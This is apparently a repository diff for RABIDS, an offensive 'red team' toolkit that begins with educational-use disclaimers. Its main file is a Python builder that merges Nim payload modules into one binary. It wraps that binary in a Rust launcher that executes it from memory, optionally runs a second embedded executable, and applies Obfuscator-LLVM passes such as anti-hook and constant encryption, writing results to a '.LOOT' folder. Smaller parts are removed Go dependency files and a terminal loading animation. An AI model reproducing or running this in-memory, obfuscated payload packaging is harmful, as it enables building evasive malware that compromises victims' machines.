## Legal Disclaimer
RABIDS is intended for educational purposes and authorized security testing only. You must have explicit permission to use this tool against any system or network. The authors and contributors are not responsible for misuse, damage, or legal consequences. Always follow applicable laws and ethical guidelines.
## Contributing
Contributions are welcome! Please fork the repository, create a feature branch, and submit a pull request with a detailed description of your changes.
This tool is intended for **educational purposes, authorized security testing, and red team operations only**. The author is not responsible for any misuse, damage, or legal consequences that may result from the use of this software. You must have explicit, written permission from the target system's owner before using this tool. Unauthorized use is strictly prohibited and may be illegal.
## License

View File

@ -1,31 +1,255 @@
import os
import subprocess
import sys
import tempfile
from pathlib import Path
#!/usr/bin/env python3
import argparse
from pathlib import Path
import sys
import os
import shutil
import re
import shlex
import subprocess
import tempfile
def compile_nim(nim_file, output_exe, os_name, arch):
output_exe = Path(output_exe).resolve()
print(f"[*] Compiling Nim -> {os_name}:{arch}")
def compile_go(go_path, output_exe):
env = os.environ.copy()
env["GOOS"] = "windows"
env["GOARCH"] = "amd64"
result = subprocess.run(["go", "build", "-o", output_exe, go_path], env=env)
if result.returncode != 0 or not os.path.isfile(output_exe):
print(f"[Error] Go build failed for {go_path}")
nim_cmd = [
"nim", "c",
"-d:release",
"-d:ssl",
]
if os_name == "windows":
if sys.platform == "darwin":
nim_cmd.append("-d:mingw")
nim_cmd.append(f"--cpu:{arch}")
else:
nim_cmd.append("--os:windows")
nim_cmd.append(f"--cpu:{arch}")
elif os_name == "linux":
nim_cmd.append("--os:linux")
nim_cmd.append(f"--cpu:{arch}")
elif os_name == "macos":
nim_cmd.append("--os:macosx")
nim_cmd.append(f"--cpu:{arch}")
nim_cmd.append(f'--out:{output_exe}')
nim_cmd.append(str(nim_file))
print(f"[*] Running Nim compile command: {' '.join(shlex.quote(arg) for arg in nim_cmd)}")
try:
result = subprocess.run(nim_cmd, check=True, capture_output=True, text=True)
print("[+] Nim compiler output:")
print(result.stdout)
if result.stderr:
print("[+] Nim compiler errors:")
print(result.stderr)
except subprocess.CalledProcessError as e:
print(f"[Error] Nim compilation failed with exit code {e.returncode}.")
print("--- stdout ---")
print(e.stdout)
print("--- stderr ---")
print(e.stderr)
sys.exit(1)
print(f"Built {output_exe}")
except FileNotFoundError:
print("[Error] 'nim' command not found. Please ensure Nim is installed and in your PATH.")
sys.exit(1)
if not output_exe.exists():
print(f"[Error] Nim compiler finished, but output file was not found at: {output_exe}")
sys.exit(1)
print(f"[+] Built Nim executable: {output_exe}")
return output_exe
def generate_rust_memexec(go_exe_path, output_exe, embed_exe_path=None):
with open(go_exe_path, "rb") as f:
go_bytes = f.read()
go_bytes_array = ','.join(str(b) for b in go_bytes)
embed_code = ""
def normalize_imports(lines):
"""Normalize Nim import statements by splitting comma-separated imports."""
result = []
for line in lines:
s = line.strip()
if s.startswith("import "):
mods = s[len("import "):].split(",")
for m in mods:
result.append("import " + m.strip())
else:
result.append(line.rstrip("\n"))
return result
def extract_main_proc(nim_content):
"""Extract the content of proc main(), normalizing its indentation."""
lines = nim_content.splitlines()
main_content = []
in_main = False
proc_indent_level = 0
base_content_indent = -1
for line in lines:
stripped_line = line.strip()
if stripped_line.startswith("proc main()"):
in_main = True
proc_indent_level = len(line) - len(line.lstrip())
continue
if in_main:
current_indent = len(line) - len(line.lstrip())
if current_indent <= proc_indent_level and stripped_line and not line.isspace():
in_main = False
continue
if stripped_line:
if base_content_indent == -1:
base_content_indent = current_indent
relative_indent = current_indent - base_content_indent
main_content.append(" " * relative_indent + stripped_line)
return main_content
def apply_options_with_regex(content, options):
"""
Applies build options to the Nim source content using regex substitution.
It looks for patterns like:
let/const/var optionName = "default value"
let/const/var optionName = someFunc("default value")
"""
if not options:
return content
for option in options:
key, value = option.split("=", 1)
escaped_value = value.replace('\\', '\\\\').replace('"', '\\"')
pattern = re.compile(r'((?:let|const|var)\s+' + re.escape(key) + r'\s*=\s*(?:[a-zA-Z0-9_]+\()?)".*?"', re.DOTALL)
content = pattern.sub(r'\1"' + escaped_value + '"', content, count=1)
return content
def merge_nim_modules(nim_files, out_dir: Path, options=None):
"""Merge multiple Nim modules into a single file, deduplicating imports and combining proc main()."""
if len(nim_files) < 2:
print("[Error] At least two Nim files must be provided for merging.")
sys.exit(1)
print(f"[*] Merging modules: {nim_files}")
loot_dir = out_dir
loot_dir.mkdir(parents=True, exist_ok=True)
out_path = loot_dir / "combined.nim"
merged_imports = set()
merged_code = []
main_contents = []
for f in nim_files:
fpath = Path(f)
if not fpath.is_file():
print(f"[Error] Nim file not found: {f}")
sys.exit(1)
print(f"[*] Reading module: {f}")
with open(f, "r", encoding="utf-8") as fh:
content = fh.read()
content = apply_options_with_regex(content, options)
main_contents.append(extract_main_proc(content))
lines = content.splitlines()
in_main_proc = False
main_proc_indent = -1
in_when_block = False
when_block_indent = -1
in_gorge_proc = False
for line in lines:
stripped = line.strip()
if in_main_proc and stripped and (len(line) - len(line.lstrip()) <= main_proc_indent):
in_main_proc = False
if in_when_block and stripped and (len(line) - len(line.lstrip()) <= when_block_indent):
in_when_block = False
if in_gorge_proc and stripped and (len(line) - len(line.lstrip()) == 0):
in_gorge_proc = False
if in_main_proc or in_when_block:
continue
if stripped.startswith("proc main()"):
in_main_proc = True
main_proc_indent = len(line) - len(line.lstrip())
continue
if stripped.startswith("when isMainModule"):
in_when_block = True
when_block_indent = len(line) - len(line.lstrip())
continue
if stripped.startswith("import "):
mods = stripped[len("import "):].split(",")
for m in mods:
merged_imports.add("import " + m.strip())
else:
merged_code.append(line.rstrip("\n"))
final_code = []
if merged_code:
final_code.append(merged_code[0])
for i in range(1, len(merged_code)):
if merged_code[i].strip() == "" and merged_code[i-1].strip() == "":
continue
final_code.append(merged_code[i])
with open(out_path, "w", encoding="utf-8") as fh:
fh.write("\n".join(sorted(merged_imports)))
fh.write("\n\n")
fh.write("\n".join(final_code))
fh.write("\n\n")
fh.write("proc main() =\n")
for main_content in main_contents:
if not main_content:
continue
fh.write(" block:\n")
for line in main_content:
fh.write(" " + line + "\n")
fh.write("\n")
fh.write("when isMainModule:\n")
fh.write(" main()\n")
print(f"[+] Wrote merged Nim file: {out_path}")
return out_path
def patch_nim_file(nim_file: Path, options: list):
"""Injects const declarations into a single Nim file."""
if options:
print(f"[*] Patching {nim_file.name} with options: {options}")
content = nim_file.read_text(encoding="utf-8")
content = apply_options_with_regex(content, options)
nim_file.write_text(content, encoding="utf-8")
def parse_target(target_str):
"""Parse the target string into OS and architecture."""
try:
os_name, arch = target_str.split(":")
return os_name, arch
except ValueError:
print("[Error] Target must be in format os:arch, e.g. windows:amd64")
sys.exit(1)
def generate_rust_wrapper(nim_exe, final_exe, target_os, target_arch, embed_exe=None, obfuscate=False, ollvm=None):
"""Generate a Rust wrapper for the Nim executable using in-memory execution."""
final_exe_path = Path(final_exe)
package_name = final_exe_path.stem
if obfuscate:
docker_path = shutil.which("docker")
if not docker_path:
print("[Error] Docker not found. Install Docker to use Obfuscator-LLVM.")
sys.exit(1)
print(f"[*] Found docker at: {docker_path}")
with open(nim_exe, 'rb') as f:
nim_payload_bytes = f.read()
nim_payload_array = ','.join(str(b) for b in nim_payload_bytes)
embed_decl = ""
if embed_exe_path:
with open(embed_exe_path, "rb") as f:
embed_code = ""
if embed_exe:
with open(embed_exe, "rb") as f:
embed_bytes = f.read()
embed_bytes_array = ','.join(str(b) for b in embed_bytes)
embed_decl = f"const EMBEDDED_EXE: &[u8] = &[{embed_bytes_array}];"
@ -35,258 +259,158 @@ def generate_rust_memexec(go_exe_path, output_exe, embed_exe_path=None):
memexec::memexec_exe(EMBEDDED_EXE).expect("Failed to execute embedded EXE");
}
"""
rust_code = f'''
use memexec;
{embed_decl}
const GO_PAYLOAD: &[u8] = &[{go_bytes_array}];
const NIM_PAYLOAD: &[u8] = &[{nim_payload_array}];
fn main() {{
{embed_code} unsafe {{
memexec::memexec_exe(GO_PAYLOAD).expect("Failed to execute PE from memory");
{embed_code}
unsafe {{
memexec::memexec_exe(NIM_PAYLOAD).expect("Failed to execute Nim payload from memory");
}}
}}
'''
temp_dir = tempfile.mkdtemp(prefix="memexec_")
try:
src_dir = Path(temp_dir) / "src"
src_dir.mkdir(parents=True, exist_ok=True)
with tempfile.TemporaryDirectory() as tmpdir:
project_dir = Path(tmpdir) / "rust_project"
src_dir = project_dir / "src"
src_dir.mkdir(parents=True)
main_rs = src_dir / "main.rs"
main_rs.write_text(rust_code)
cargo_toml = Path(temp_dir) / "Cargo.toml"
cargo_toml.write_text("""
print(f"[*] Wrote Rust wrapper source: {main_rs}")
cargo_toml_content = f"""
[package]
name = "payload"
name = "{package_name}"
version = "0.1.0"
edition = "2018"
[dependencies]
memexec = { git = "https://github.com/DmitrijVC/memexec", version = "0.3" }
""")
cargo_config_dir = Path(temp_dir) / ".cargo"
cargo_config_dir.mkdir(exist_ok=True)
config_toml = cargo_config_dir / "config.toml"
config_toml.write_text("""
[target.x86_64-pc-windows-gnu]
linker = "x86_64-w64-mingw32-gcc"
""")
loot_dir = Path.cwd() / ".LOOT"
loot_dir.mkdir(exist_ok=True)
final_exe = loot_dir / output_exe
if os.environ.get('PWNOS_DOCKER_OBFUSCATE', '0') == '1':
docker_image = "ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest"
user_project_dir = str(temp_dir)
memexec = {{ git = "https://github.com/DmitrijVC/memexec", version = "0.3" }}
"""
(project_dir / "Cargo.toml").write_text(cargo_toml_content.strip())
rust_target = {
("windows", "amd64"): "x86_64-pc-windows-gnu",
("windows", "arm64"): "aarch64-pc-windows-gnu",
("linux", "amd64"): "x86_64-unknown-linux-gnu",
("linux", "arm64"): "aarch64-unknown-linux-gnu",
("macos", "amd64"): "x86_64-apple-darwin",
("macos", "arm64"): "aarch64-apple-darwin"
}[(target_os, target_arch)]
cargo_cmd = [
"cargo", "build", "--release", "--target", rust_target
]
if obfuscate:
project_path = str(project_dir)
volume_mapping = f"{project_path}:/projects"
if ollvm:
for pass_name in ollvm:
cargo_cmd.append(f"-Cllvm-args=-enable-{pass_name}")
else:
cargo_cmd.append("-Cllvm-args=-enable-allobf")
docker_cmd = [
"docker", "run", "--rm",
"--platform", "linux/amd64",
"-e", "CARGO_BUILD_JOBS=1",
"-v", f"{user_project_dir}:/projects/",
"-w", "/projects/",
docker_image,
"cargo", "rustc",
"--target", "x86_64-pc-windows-gnu",
"--release",
"--",
"-Cdebuginfo=0",
"-Cstrip=symbols",
"-Cpanic=abort",
"-Copt-level=3",
"-Cllvm-args=-enable-acdobf",
"-Cllvm-args=-enable-antihook",
"-Cllvm-args=-enable-adb",
"-Cllvm-args=-enable-bcfobf",
"-Cllvm-args=-enable-splitobf",
"-Cllvm-args=-enable-subobf",
"-Cllvm-args=-enable-fco",
"-Cllvm-args=-enable-constenc"
"-v", volume_mapping,
"-w", "/projects",
"ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest",
*cargo_cmd
]
result = subprocess.run(docker_cmd)
if result.returncode != 0:
print("[Error] Rust build/obfuscation failed")
print(f"[*] Running Dockerized cargo rustc command: {' '.join(docker_cmd)}")
try:
subprocess.run(docker_cmd, check=True, capture_output=True, text=True)
except subprocess.CalledProcessError as e:
print(f"[Error] Dockerized Rust compilation failed: {e}")
print(f"Stdout: {e.stdout}")
print(f"Stderr: {e.stderr}")
sys.exit(1)
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
os.replace(built_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
else:
result = subprocess.run([
"cargo", "build", "--release", "--target", "x86_64-pc-windows-gnu"
], cwd=temp_dir)
if result.returncode != 0:
print("[Error] Native Rust build failed")
print(f"[*] Running local cargo rustc command: {' '.join(cargo_cmd)}")
try:
subprocess.run(cargo_cmd, check=True, cwd=project_dir, capture_output=True, text=True)
except subprocess.CalledProcessError as e:
print(f"[Error] Rust compilation failed: {e}")
print(f"Stdout: {e.stdout}")
print(f"Stderr: {e.stderr}")
sys.exit(1)
except FileNotFoundError:
print("[Error] 'cargo' command not found. Please ensure Rust is installed and in your PATH.")
sys.exit(1)
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
os.replace(built_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
finally:
shutil.rmtree(temp_dir, ignore_errors=True)
def merge_go_modules(go_files, merged_go_path):
"""
Merges multiple Go files into one, so their main logic runs in order.
Writes the merged Go file to merged_go_path.
Automatically removes unused imports.
"""
all_imports = set()
func_bodies = []
main_funcs = []
used_names = set()
func_name_to_body = {}
def unique_func_name(base, used):
i = 1
name = base
while name in used:
name = f"{base}_{i}"
i += 1
used.add(name)
return name
def extract_functions(src):
"""Extract all top-level functions from Go source code using a line-based parser."""
funcs = []
lines = src.splitlines()
in_func = False
brace_count = 0
func_lines = []
func_name = None
for idx, line in enumerate(lines):
if not in_func:
match = re.match(r'func\s+([\w]+)\s*\(', line)
if match:
in_func = True
func_name = match.group(1)
func_lines = [line]
brace_count = line.count('{') - line.count('}')
if brace_count == 0 and line.rstrip().endswith('}'):
funcs.append((func_name, '\n'.join(func_lines)))
in_func = False
func_lines = []
func_name = None
elif in_func:
func_lines.append(line)
brace_count += line.count('{') - line.count('}')
if brace_count == 0:
funcs.append((func_name, '\n'.join(func_lines)))
in_func = False
func_lines = []
func_name = None
return funcs
for idx, go_file in enumerate(go_files):
with open(go_file, 'r') as f:
src = f.read()
imports = set()
import_block = re.findall(r'import \((.*?)\)', src, re.DOTALL)
if import_block:
for line in import_block[0].splitlines():
line = line.strip().strip('"')
if line:
imports.add(line)
else:
single_imports = re.findall(r'import\s+"([^"]+)"', src)
imports.update(single_imports)
all_imports.update(imports)
for func_name, body in extract_functions(src):
if func_name == "main":
new_name = unique_func_name(f"main_{os.path.splitext(os.path.basename(go_file))[0]}", used_names)
body = re.sub(r'func\s+main\s*\(', f'func {new_name}(', body, count=1)
main_funcs.append((new_name, body))
else:
func_bodies.append(body.strip())
func_name_to_body[func_name] = body.strip()
merged_code = 'package main\n\n'
if all_imports:
if len(all_imports) > 1:
merged_code += 'import (\n'
for imp in sorted(all_imports):
merged_code += f'\t"{imp}"\n'
merged_code += ')\n\n'
else:
merged_code += f'import "{list(all_imports)[0]}"\n\n'
for helper in func_bodies:
merged_code += helper + '\n\n'
for func_name, main_body in main_funcs:
merged_code += main_body.strip() + '\n\n'
merged_code += 'func main() {\n'
for func_name, _ in main_funcs:
merged_code += f'\t{func_name}()\n'
merged_code += '}\n'
merged_code = remove_unused_imports(merged_code)
with open(merged_go_path, 'w') as f:
f.write(merged_code)
def remove_unused_imports(go_code):
"""
Remove unused imports from a Go source string.
"""
import_block = re.search(r'import \((.*?)\)', go_code, re.DOTALL)
if not import_block:
single_imports = re.findall(r'import\s+"([^"]+)"', go_code)
for imp in single_imports:
if not re.search(r'\b' + re.escape(imp.split('/')[-1]) + r'\b', go_code.split('import')[1]):
go_code = re.sub(r'import\s+"' + re.escape(imp) + r'"\n', '', go_code)
return go_code
block = import_block.group(1)
imports = [line.strip().strip('"') for line in block.splitlines() if line.strip()]
used_imports = []
for imp in imports:
symbol = imp.split('/')[-1]
if re.search(r'\b' + re.escape(symbol) + r'\b', go_code.split('import')[1]):
used_imports.append(imp)
if used_imports:
new_block = 'import (\n' + ''.join([f'\t"{imp}"\n' for imp in used_imports]) + ')'
go_code = re.sub(r'import \((.*?)\)', new_block, go_code, flags=re.DOTALL)
else:
go_code = re.sub(r'import \((.*?)\)\n', '', go_code, flags=re.DOTALL)
return go_code
output_binary_name = f"{package_name}.exe" if target_os == "windows" else package_name
compiled_binary = project_dir / "target" / rust_target / "release" / output_binary_name
if not compiled_binary.exists():
print(f"[Error] Compiled binary not found at: {compiled_binary}")
sys.exit(1)
shutil.move(str(compiled_binary), final_exe_path)
print(f"[+] Final executable: {final_exe_path}")
def main():
parser = argparse.ArgumentParser(description="Go-to-memexec EXE builder for PWN0S")
parser.add_argument("--go_file", type=str, help="Path to Go file")
parser.add_argument("--output_exe", type=str, help="Output EXE name (in .LOOT)")
parser.add_argument("--embed", type=str, help="Path to EXE to embed and run before this module")
parser.add_argument("--go-only", action="store_true", help="Only build Go file to EXE, no Rust wrapping")
parser.add_argument("--merge", nargs='+', help="List of Go files to merge and run in order (last arg is output exe)")
parser.add_argument("--obfuscate", action="store_true", help="Enable obfuscation (use Docker/Rust)")
parser = argparse.ArgumentParser(description="Nim-to-EXE Builder")
parser.add_argument("--nim_file", type=str, help="Path to a single Nim file")
parser.add_argument("--merge", nargs="+", help="List of Nim modules to embed")
parser.add_argument("--output_exe", type=str, required=True, help="Output executable name")
parser.add_argument("--embed", type=str, help="Path to additional exe to embed & run")
parser.add_argument("--nim-only", action="store_true", help="Only build Nim exe (no Rust)")
parser.add_argument("--obfuscate", action="store_true", help="Enable Rust OLLVM obfuscation")
parser.add_argument("--ollvm", nargs="*", help="OLLVM passes: bcfobf subobf constenc ...")
parser.add_argument("--target", type=str, default="windows:amd64", help="Target triple (os:arch)")
parser.add_argument("--option", action="append", help="Option to inject as const (e.g., key=value)")
args = parser.parse_args()
if args.obfuscate:
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '1'
else:
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '0'
if args.merge:
*go_files, output_exe = args.merge
with tempfile.TemporaryDirectory() as tmpdir:
merged_go = os.path.join(tmpdir, "merged.go")
merge_go_modules(go_files, merged_go)
go_exe = os.path.join(tmpdir, "payload.exe")
compile_go(merged_go, go_exe)
if args.obfuscate:
generate_rust_memexec(go_exe, output_exe)
else:
loot_dir = Path.cwd() / ".LOOT"
loot_dir.mkdir(exist_ok=True)
final_exe = loot_dir / output_exe
os.replace(go_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
return
if args.go_only:
if not args.go_file or not args.output_exe:
print("--go_file and --output_exe are required with --go-only")
sys.exit(1)
compile_go(args.go_file, args.output_exe)
return
else:
if not args.go_file or not args.output_exe:
print("--go_file and --output_exe are required for default build path")
sys.exit(1)
with tempfile.TemporaryDirectory() as tmpdir:
go_exe = os.path.join(tmpdir, "payload.exe")
compile_go(args.go_file, go_exe)
if args.obfuscate:
generate_rust_memexec(go_exe, args.output_exe, embed_exe_path=args.embed)
else:
loot_dir = Path.cwd() / ".LOOT"
loot_dir.mkdir(exist_ok=True)
final_exe = loot_dir / args.output_exe
os.replace(go_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
if args.merge and args.nim_file:
print("[Error] Cannot specify both --merge and --nim_file options.")
sys.exit(1)
if not args.merge and not args.nim_file:
print("[Error] Must specify either --merge or --nim_file.")
sys.exit(1)
target_os, target_arch = parse_target(args.target)
final_exe_path_str = args.output_exe
if target_os == "windows" and not final_exe_path_str.lower().endswith(".exe"):
final_exe_path_str += ".exe"
print(f"[+] Corrected output name to: {Path(final_exe_path_str).name}")
final_exe = Path(final_exe_path_str).resolve()
final_exe.parent.mkdir(parents=True, exist_ok=True)
with tempfile.TemporaryDirectory() as tmpdir:
tmp_dir = Path(tmpdir)
if args.merge:
loot_dir = final_exe.parent
launcher_source = merge_nim_modules(args.merge, loot_dir, options=args.option)
else:
launcher_source = Path(args.nim_file)
patch_nim_file(launcher_source, args.option)
suffix = ".exe" if target_os == "windows" else ""
nim_exe_tmp = tmp_dir / f"{final_exe.stem}_nim_payload{suffix}"
compile_nim(launcher_source, nim_exe_tmp, target_os, target_arch)
if not args.nim_only and target_os == 'windows':
print("[*] Generating Rust wrapper to embed Nim payload.")
generate_rust_wrapper(
str(nim_exe_tmp),
final_exe,
target_os, target_arch,
embed_exe=args.embed,
obfuscate=args.obfuscate,
ollvm=args.ollvm
)
else:
if not args.nim_only and target_os != 'windows':
print(f"[*] Skipping Rust wrapper for non-Windows target ({target_os}).")
shutil.move(str(nim_exe_tmp), final_exe)
print(f"[+] Final executable: {final_exe}")
if __name__ == "__main__":
main()

16
go.mod
View File

@ -1,16 +0,0 @@
module BLACKWALL
go 1.24.4
require (
github.com/atotto/clipboard v0.1.4
github.com/go-rod/rod v0.116.2
)
require (
github.com/ysmood/fetchup v0.2.3 // indirect
github.com/ysmood/goob v0.4.0 // indirect
github.com/ysmood/got v0.40.0 // indirect
github.com/ysmood/gson v0.7.3 // indirect
github.com/ysmood/leakless v0.9.0 // indirect
)

18
go.sum
View File

@ -1,18 +0,0 @@
github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4=
github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI=
github.com/go-rod/rod v0.116.2 h1:A5t2Ky2A+5eD/ZJQr1EfsQSe5rms5Xof/qj296e+ZqA=
github.com/go-rod/rod v0.116.2/go.mod h1:H+CMO9SCNc2TJ2WfrG+pKhITz57uGNYU43qYHh438Mg=
github.com/ysmood/fetchup v0.2.3 h1:ulX+SonA0Vma5zUFXtv52Kzip/xe7aj4vqT5AJwQ+ZQ=
github.com/ysmood/fetchup v0.2.3/go.mod h1:xhibcRKziSvol0H1/pj33dnKrYyI2ebIvz5cOOkYGns=
github.com/ysmood/goob v0.4.0 h1:HsxXhyLBeGzWXnqVKtmT9qM7EuVs/XOgkX7T6r1o1AQ=
github.com/ysmood/goob v0.4.0/go.mod h1:u6yx7ZhS4Exf2MwciFr6nIM8knHQIE22lFpWHnfql18=
github.com/ysmood/gop v0.2.0 h1:+tFrG0TWPxT6p9ZaZs+VY+opCvHU8/3Fk6BaNv6kqKg=
github.com/ysmood/gop v0.2.0/go.mod h1:rr5z2z27oGEbyB787hpEcx4ab8cCiPnKxn0SUHt6xzk=
github.com/ysmood/got v0.40.0 h1:ZQk1B55zIvS7zflRrkGfPDrPG3d7+JOza1ZkNxcc74Q=
github.com/ysmood/got v0.40.0/go.mod h1:W7DdpuX6skL3NszLmAsC5hT7JAhuLZhByVzHTq874Qg=
github.com/ysmood/gotrace v0.6.0 h1:SyI1d4jclswLhg7SWTL6os3L1WOKeNn/ZtzVQF8QmdY=
github.com/ysmood/gotrace v0.6.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM=
github.com/ysmood/gson v0.7.3 h1:QFkWbTH8MxyUTKPkVWAENJhxqdBa4lYTQWqZCiLG6kE=
github.com/ysmood/gson v0.7.3/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3RNmg=
github.com/ysmood/leakless v0.9.0 h1:qxCG5VirSBvmi3uynXFkcnLMzkphdh3xx5FtrORwDCU=
github.com/ysmood/leakless v0.9.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ=

View File

@ -1,69 +0,0 @@
import random
import time
import os
import string
import threading
from contextlib import contextmanager
RED = "\033[38;2;204;103;102m"
RESET = "\033[0m"
def clear_screen():
os.system('cls' if os.name == 'nt' else 'clear')
def generate_random_code():
first = random.choice(string.digits + string.ascii_uppercase)
second = random.choice(string.digits + string.ascii_uppercase)
return f"{first}{second}"
def generate_random_matrix():
return [[generate_random_code() for _ in range(4)] for _ in range(5)]
def display_matrix():
matrix = generate_random_matrix()
for row in matrix:
for cell in row:
if random.random() < 0.3:
print(f"\033[43m\033[93m{cell:^4}\033[0m", end=" ")
else:
print(f"{RED}{cell:^4}{RESET}", end=" ")
print()
print()
def loading_simulation(duration=5):
start_time = time.time()
while time.time() - start_time < duration:
display_matrix()
time.sleep(0.2)
if __name__ == "__main__":
loading_simulation()
def show_loading_screen(loading_message=None, duration=None, print_ascii_art=None, YELLOW="\033[93m"):
import sys
start_time = time.time()
while time.time() - start_time < (duration if duration is not None else 2):
clear_screen()
if print_ascii_art:
print_ascii_art()
if loading_message:
print(f"\n{YELLOW}[~] {loading_message}{RESET}\n")
matrix = generate_random_matrix()
for row in matrix:
for cell in row:
if random.random() < 0.3:
print(f"\033[43m\033[93m{cell:^4}\033[0m", end=" ")
else:
print(f"{RED}{cell:^4}{RESET}", end=" ")
print()
print()
sys.stdout.flush()
time.sleep(0.2)
@contextmanager
def loading_state(message=None, duration=2, print_ascii_art=None):
stop_flag = [False]
def animate():
while not stop_flag[0]:
show_loading_screen(loading_message=message, duration=0.8, print_ascii_art=print_ascii_art)
t = threading.Thread(target=animate)
t.start()
try:
yield
finally:
stop_flag[0] = True
t.join()
clear_screen()
if print_ascii_art:
print_ascii_art()

1676
main.py

File diff suppressed because it is too large Load Diff